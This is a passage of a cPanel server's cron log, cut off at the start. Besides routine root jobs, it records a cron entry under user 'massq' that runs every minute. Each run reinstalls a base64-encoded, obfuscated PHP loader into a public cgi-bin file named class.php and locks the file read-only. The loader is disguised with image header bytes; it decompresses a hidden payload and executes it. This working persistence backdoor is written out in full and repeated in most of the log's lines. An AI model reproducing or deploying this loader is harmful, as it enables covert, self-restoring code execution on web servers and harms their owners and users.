0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:30:01 server CROND[30754]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 19:30:01 server CROND[30755]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 19:30:01 server CROND[30756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:30:01 server CROND[30757]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 19:31:01 server CROND[30871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:32:01 server CROND[30936]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:33:01 server CROND[31081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:34:01 server CROND[31140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:35:01 server CROND[31201]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 19:35:01 server CROND[31202]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 19:35:01 server CROND[31205]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 19:35:01 server CROND[31204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:35:01 server CROND[31206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 19:36:01 server CROND[31321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:37:01 server CROND[31377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:38:01 server CROND[31599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:39:01 server CROND[31648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:39:01 server CROND[31649]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 19:40:01 server CROND[31705]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 19:40:01 server CROND[31707]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 19:40:01 server CROND[31706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:40:01 server CROND[31708]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 19:41:01 server CROND[31874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:42:01 server CROND[31938]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 19:42:01 server CROND[31939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
